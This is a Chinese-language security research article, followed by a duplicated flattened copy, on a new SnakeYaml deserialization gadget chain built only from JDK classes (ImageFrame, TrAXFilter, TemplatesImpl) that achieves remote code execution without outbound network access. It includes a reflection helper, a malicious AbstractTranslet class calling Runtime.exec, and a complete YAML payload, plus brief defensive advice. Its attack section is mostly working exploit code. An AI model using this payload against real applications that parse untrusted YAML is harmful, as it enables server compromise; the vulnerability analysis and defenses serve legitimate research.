SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘
字数 1465 2025-09-01 11:26:10

SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘技术分析

前言

在Java反序列化漏洞研究中,SnakeYaml作为一个常用的YAML解析库,其反序列化安全问题一直备受关注。本文详细分析了一种新的SnakeYaml利用链,该链完全基于JDK原生类,无需额外依赖且不需要出网即可实现RCE(远程代码执行)。

技术背景

SnakeYaml反序列化机制

与FastJson相比,SnakeYaml的反序列化特性如下:

特性 Fastjson SnakeYaml
setter
getter
constructor ✅(有条件)

SnakeYaml的利用链主要围绕:

  1. 构造器利用
  2. setter方法利用
  3. HashMap机制触发hashCode方法

TemplatesImpl利用原理

TemplatesImpl是Java反序列化中常用的类,其利用链核心在于:

  1. _name_bytecodes等关键变量不为null
  2. 通过ClassLoader::defineClass方法加载恶意类
  3. 恶意类需继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

典型利用代码示例:

public static TemplatesImpl getTemplatesImpl() throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
    Field name = templates.getClass().getDeclaredField("_name");
    Field tfactory = templates.getClass().getDeclaredField("_tfactory");
    name.setAccessible(true);
    bytecodes.setAccessible(true);
    tfactory.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
    bytecodes.set(templates, myBytes);
    name.set(templates, "");
    tfactory.set(templates, new TransformerFactoryImpl());
    return templates;
}

TrAXFilter利用链

在CC链中,TrAXFilter通过构造器调用TemplatesImpl::newTransformer方法:

public TrAXFilter(Templates templates) throws TransformerConfigurationException {
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    // ...
}

技术难点与突破

难点1:SnakeYaml中构造byte[][]

在YAML中表示byte[][]类型的挑战:

  1. 官方文档仅提供!!binary表示byte[]
  2. 需要通过特殊语法表示二维字节数组

解决方案:

!!com.heihu577.bean.TestByte [[!!binary SGVsbG8=]]

难点2:TemplatesImpl实例创建失败

问题原因:

  1. TemplatesImpl有多个5参数构造器
  2. SnakeYaml在多个同参数数量构造器时不会强制类型转换

底层源码分析(Constructor$ConstructSequence):

  1. 首先检查参数数量匹配的构造器数量
  2. 当只有一个匹配时,会尝试强制类型转换
  3. 当有多个匹配时,需要精确类型匹配

突破方案:引用数据类型

使用YAML的引用机制绕过限制:

  1. 使用&定义锚点
  2. 使用*引用锚点
  3. 通过数组确保引用创建顺序

示例:

[
  {binaryData: &A [!!binary "SGVsbG8="]},
  !!com.example.TargetClass [*A, ...]
]

完整利用链构建

关键类发现

发现com.sun.javafx.iio.ImageFrame类:

  • 构造器包含byte[][]参数
  • 构造器参数数量不唯一
  • 可强制触发类型转换

构造器签名:

public ImageFrame(ImageStorage.Type type, byte[][] imageData, ...)

POC构造步骤

  1. 准备恶意类(继承AbstractTranslet
public class Evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    // ... 必须实现的方法
}
  1. 获取恶意类字节码BASE64
byte[] encode = new Base64().encode(Repository.lookupClass(Evil.class).getBytes());
  1. 构建YAML Payload:
[
  !!com.sun.javafx.iio.ImageFrame [null, null, 0, 0, 0, &A [!!binary "恶意类BASE64"], null],
  !!com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter [
    !!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [
      *A,
      "任意名称",
      !!java.util.Properties {},
      !!int 0,
      !!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}
    ]
  ]
]

完整技术流程图

SnakeYaml解析
  ↓
创建ImageFrame实例(触发byte[][]转换)
  ↓
通过引用*A传递byte[][]
  ↓
创建TemplatesImpl实例(使用转换后的byte[][])
  ↓
TrAXFilter构造器触发TemplatesImpl.newTransformer()
  ↓
恶意类静态代码块执行
  ↓
RCE达成

防御建议

  1. 禁用SnakeYaml的任意类加载:
new Yaml(new SafeConstructor());
  1. 升级JDK到最新版本
  2. 对YAML输入进行严格过滤
  3. 使用白名单机制限制反序列化类

总结

该技术突破点在于:

  1. 利用ImageFrame强制byte[][]类型转换
  2. 巧妙运用YAML引用机制
  3. 纯JDK原生类利用,无额外依赖
  4. 完全不出网的RCE实现

这种利用方式展示了即使在没有外部依赖和不出网的严格环境下,Java反序列化仍然存在潜在风险,提醒开发者需要更加重视反序列化安全防护。

SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘技术分析 前言 在Java反序列化漏洞研究中,SnakeYaml作为一个常用的YAML解析库,其反序列化安全问题一直备受关注。本文详细分析了一种新的SnakeYaml利用链,该链完全基于JDK原生类,无需额外依赖且不需要出网即可实现RCE(远程代码执行)。 技术背景 SnakeYaml反序列化机制 与FastJson相比,SnakeYaml的反序列化特性如下: | 特性 | Fastjson | SnakeYaml | |------------|---------|----------| | setter | ✅ | ✅ | | getter | ✅ | ❌ | | constructor| ⭕ | ✅(有条件)| SnakeYaml的利用链主要围绕: 构造器利用 setter方法利用 HashMap机制触发hashCode方法 TemplatesImpl利用原理 TemplatesImpl 是Java反序列化中常用的类,其利用链核心在于: _name 、 _bytecodes 等关键变量不为null 通过 ClassLoader::defineClass 方法加载恶意类 恶意类需继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 典型利用代码示例: TrAXFilter利用链 在CC链中, TrAXFilter 通过构造器调用 TemplatesImpl::newTransformer 方法: 技术难点与突破 难点1:SnakeYaml中构造byte[][ ] 在YAML中表示 byte[][] 类型的挑战: 官方文档仅提供 !!binary 表示 byte[] 需要通过特殊语法表示二维字节数组 解决方案: 难点2:TemplatesImpl实例创建失败 问题原因: TemplatesImpl 有多个5参数构造器 SnakeYaml在多个同参数数量构造器时不会强制类型转换 底层源码分析( Constructor$ConstructSequence ): 首先检查参数数量匹配的构造器数量 当只有一个匹配时,会尝试强制类型转换 当有多个匹配时,需要精确类型匹配 突破方案:引用数据类型 使用YAML的引用机制绕过限制: 使用 & 定义锚点 使用 * 引用锚点 通过数组确保引用创建顺序 示例: 完整利用链构建 关键类发现 发现 com.sun.javafx.iio.ImageFrame 类: 构造器包含 byte[][] 参数 构造器参数数量不唯一 可强制触发类型转换 构造器签名: POC构造步骤 准备恶意类(继承 AbstractTranslet ) 获取恶意类字节码BASE64 构建YAML Payload: 完整技术流程图 防御建议 禁用SnakeYaml的任意类加载: 升级JDK到最新版本 对YAML输入进行严格过滤 使用白名单机制限制反序列化类 总结 该技术突破点在于: 利用ImageFrame强制byte[][ ]类型转换 巧妙运用YAML引用机制 纯JDK原生类利用,无额外依赖 完全不出网的RCE实现 这种利用方式展示了即使在没有外部依赖和不出网的严格环境下,Java反序列化仍然存在潜在风险,提醒开发者需要更加重视反序列化安全防护。